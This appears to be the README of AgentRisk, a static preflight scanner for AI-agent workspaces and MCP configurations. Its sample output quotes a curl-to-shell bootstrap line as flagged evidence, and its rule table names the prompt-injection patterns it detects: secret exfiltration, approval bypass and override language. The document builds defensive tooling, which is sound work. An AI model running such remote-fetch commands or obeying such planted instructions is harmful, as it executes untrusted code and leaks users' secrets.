agentrisk
v0.2.3
Published
Zero-execution preflight scanner for untrusted AI-agent and MCP artifacts.
Maintainers
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AgentRisk
AgentRisk is a scan-before-trust CLI and MCP server for AI-agent workspaces. Point it at an unknown repository, GitHub URL, npm package, or tarball before your AI coding agent opens it, and AgentRisk flags risky MCP launchers, install scripts, and repo instructions without executing the target.
Think of it as a security gate for .mcp.json, AGENTS.md, SKILL.md, Cursor rules, Copilot instructions, and package.json: it helps catch "download and run this script", "forward this secret", and "ignore approval" patterns before an agent gets the chance to follow them.

It never connects to MCP servers. It never runs package scripts. It never installs target dependencies. It never asks an LLM to decide whether your workspace is safe.
npx --yes agentrisk@latest scan https://github.com/owner/suspicious-agent-repo
npx --yes agentrisk@latest scan npm:[email protected]
npx --yes agentrisk@latest scan ./downloaded-agent.tgz
npx --yes agentrisk@latest mcp configAgentRisk scan
Source: local-directory examples/risky-workspace
Root: /path/to/agentrisk/examples/risky-workspace
Files: 3 scanned, 3 matched
Verdict: BLOCK
Findings: 3 critical, 4 high, 1 medium
CRITICAL
mcp-remote-fetch-exec [high]
MCP server "bootstrap" appears to download and execute remote code.
.mcp.json:5:23
evidence: bash -c curl https://example.invalid/install.sh | sh
fix: Pin a reviewed package or binary and avoid curl-to-shell, wget-to-shell, or PowerShell Invoke-Expression bootstraps.Quick Start
Scan a repository, npm package, or local archive without installing AgentRisk:
npx --yes agentrisk@latest scan github:owner/repo#main
npx --yes agentrisk@latest scan npm:[email protected]
npx --yes agentrisk@latest scan ./downloaded-agent.tgzAdd AgentRisk to an MCP client:
npx --yes agentrisk@latest mcp configThat prints a ready-to-copy config:
{
"mcpServers": {
"agentrisk": {
"command": "npx",
"args": ["-y", "agentrisk@latest", "mcp"]
}
}
}Use pass as a green light, review as human review required, block as do not run yet, and incomplete as fix parse/read errors before trusting the artifact.
Why This Exists
AI agents increasingly read repo instructions and execute tool calls from local configuration. That makes files like .mcp.json, AGENTS.md, .cursor/rules/*, SKILL.md, .github/agents/*, and package.json part of the agent supply chain.
AgentRisk gives developers and security teams a local, reviewable gate:
- scan untrusted agent repos, packages, and archives before opening or installing them
- catch risky MCP launch commands and secret-bearing env forwarding
- flag prompt-injection-style repo instructions
- generate SARIF for GitHub code scanning
- keep all checks deterministic and auditable
What It Scans
AgentRisk currently discovers:
.mcp.jsonmcp.jsonclaude_desktop_config.json.cursor/rules/**/*.github/agents/**/*SKILL.mdAGENTS.mdCLAUDE.mdGEMINI.md.github/copilot-instructions.mdpackage.json
Built-In Rules
| Rule | Default | What it flags |
| --- | --- | --- |
| mcp-remote-fetch-exec | critical | MCP commands that download and execute remote code |
| mcp-privileged-container | critical | Docker MCP launches with host-level privileges or sensitive mounts |
| mcp-shell-wrapper-command | high | MCP launch commands hidden behind shell wrappers |
| mcp-unpinned-dlx | medium | package, language, and container launchers without obvious version pins |
| mcp-sensitive-env-pass-through | high | secret-looking or broad env forwarding into MCP servers |
| mcp-external-binary-reference | medium | absolute executable paths outside the scanned artifact |
| package-postinstall-remote-exec | critical | install lifecycle scripts with remote execution |
| package-script-shell-trampoline | medium | package scripts that hide behavior behind shell command strings |
| instruction-secret-exfiltration | critical | instructions that ask agents to read or print secrets |
| instruction-approval-bypass | high | instructions that encourage skipping approval or review |
| instruction-policy-override | high | prompt-injection-style override language |
| instruction-remote-tool-install | medium | instructions that ask agents to install or execute external tools |
| conflicting-agent-instructions | medium | conflicting safety guidance across agent instruction files |
Inspect the rule pack:
npx --yes agentrisk@latest rules list
npx --yes agentrisk@latest rules show mcp-remote-fetch-execThe checked-in corpus currently reports 3/3 benign cases clean and 5/5 malicious cases detected. See docs/corpus-report.md, generated with npm run corpus:evaluate.
Scan Before Trust
Use without installing:
npx --yes agentrisk@latest scan .Preflight remote artifacts:
# GitHub repo default branch
npx --yes agentrisk@latest scan https://github.com/modelcontextprotocol/servers
# GitHub shorthand with a ref
npx --yes agentrisk@latest scan github:owner/repo#v1.2.3
# npm package tarball, downloaded and extracted without running scripts
npx --yes agentrisk@latest scan npm:[email protected]
# Local or remote tarballs
npx --yes agentrisk@latest scan ./agent-server.tgz
npx --yes agentrisk@latest scan https://example.com/agent-server.tar.gzFor remote, npm, and archive targets, AgentRisk ignores any target-provided agentrisk.config.json unless you pass --config explicitly. An untrusted artifact should not get to configure away its own scan.
Install
Install globally:
npm install -g agentrisk
agentrisk scan .Use from a checked-out repository:
npm install
npm run build
node dist/cli.cjs scan .
node dist/mcp-cli.cjsCLI
agentrisk scan [path]
agentrisk rules list
agentrisk rules show <ruleId>
agentrisk config print [path]
agentrisk schema config
agentrisk schema report
agentrisk mcp
agentrisk mcp configUseful scan flags:
agentrisk scan . --format terminal
agentrisk scan . --format json --output agentrisk.json
agentrisk scan . --format markdown --output agentrisk.md
agentrisk scan . --format sarif --output agentrisk.sarif
agentrisk scan github:owner/repo#main --max-download-size 25000000
agentrisk scan . --fail-on medium
agentrisk scan . --exclude-rule mcp-unpinned-dlx
agentrisk scan . --gitignoreMCP Server
AgentRisk can run as a local stdio MCP server so LLM clients can ask it to scan an artifact before trusting it.
The server exposes one tool:
agentrisk_scan: statically scans a local path, GitHub target, npm package, or archive and returns a text summary plus a structured AgentRisk report
Run it directly:
npx --yes agentrisk@latest mcpGenerate a config snippet:
npx --yes agentrisk@latest mcp configExample MCP client configuration:
{
"mcpServers": {
"agentrisk": {
"command": "npx",
"args": ["-y", "agentrisk@latest", "mcp"]
}
}
}Example tool input:
{
"target": "github:owner/repo#main",
"profile": "strict",
"minSeverity": "medium",
"failOn": "high",
"maxFindings": 25
}MCP mode keeps the same safety model as the CLI: it may read local files and download explicitly requested GitHub/npm/archive targets, but it does not execute target code, run package scripts, install dependencies, or connect to target MCP servers.
Exit Codes
0: scan completed and no finding met--fail-on1: scan completed and at least one finding met--fail-on, or the scan was incomplete2: invalid command usage or configuration3: runtime failure
Configuration
Create agentrisk.config.json:
{
"version": 1,
"profile": "recommended",
"failOn": "high",
"minSeverity": "low",
"exclude": ["**/fixtures/**"],
"rules": {
"mcp-unpinned-dlx": "low",
"instruction-remote-tool-install": "off"
}
}profile: "strict" raises medium-severity findings to high. That is useful for repositories that want CI to fail on weaker supply-chain and policy signals without rewriting every rule override.
Print the resolved config:
agentrisk config print .Generate schemas:
agentrisk schema config > agentrisk-config.schema.json
agentrisk schema report > agentrisk-report.schema.jsonGitHub Actions
Use the packaged action:
name: AgentRisk
on:
pull_request:
jobs:
agentrisk:
runs-on: ubuntu-latest
permissions:
contents: read
security-events: write
steps:
- uses: actions/checkout@v5
- uses: Renga154/[email protected]
with:
format: sarif
output: agentrisk.sarif
- uses: github/codeql-action/upload-sarif@v3
if: always()
with:
sarif_file: agentrisk.sarifOr run the npm package directly:
name: AgentRisk
on:
pull_request:
push:
branches: [main]
jobs:
agentrisk:
runs-on: ubuntu-latest
permissions:
contents: read
security-events: write
steps:
- uses: actions/checkout@v5
- uses: actions/setup-node@v5
with:
node-version: 22
- run: npx --yes [email protected] scan . --format sarif --output agentrisk.sarif
- uses: github/codeql-action/upload-sarif@v3
if: always()
with:
sarif_file: agentrisk.sarifSecurity Model
AgentRisk is a static scanner. It helps surface risky patterns before execution, but it does not prove that a workspace is safe.
AgentRisk does:
- read files from the target workspace
- download GitHub/npm/archive targets when you explicitly pass those targets
- parse known config and instruction formats
- run deterministic built-in rules
- emit evidence and locations
AgentRisk does not:
- execute MCP servers
- run package scripts
- install dependencies from the target
- honor target
.gitignoreby default - trust target-provided AgentRisk config for remote/npm/archive targets
- connect to model providers
- send content to LLMs by itself; MCP clients decide what to show the model
- send workspace contents to remote services
- guarantee zero false positives or complete coverage
Roadmap
- Expand the public malicious/benign corpus with real-world reduced cases
- Add head-to-head evaluation notes against adjacent tools
- Add baseline suppression files for large repos
- Add signed community rule packs
- Expand capability graph analysis for tools, data reach, and network egress
- Expand coverage for marketplace metadata and packaged skills
Development
npm install
npm test
npm run typecheck
npm run build
npm run checkResponsible Disclosure
If you believe AgentRisk misses a dangerous pattern or reports unsafe advice, please open a private security advisory on GitHub. For normal false positives, open an issue with a minimal reproducible fixture.
License
Apache-2.0
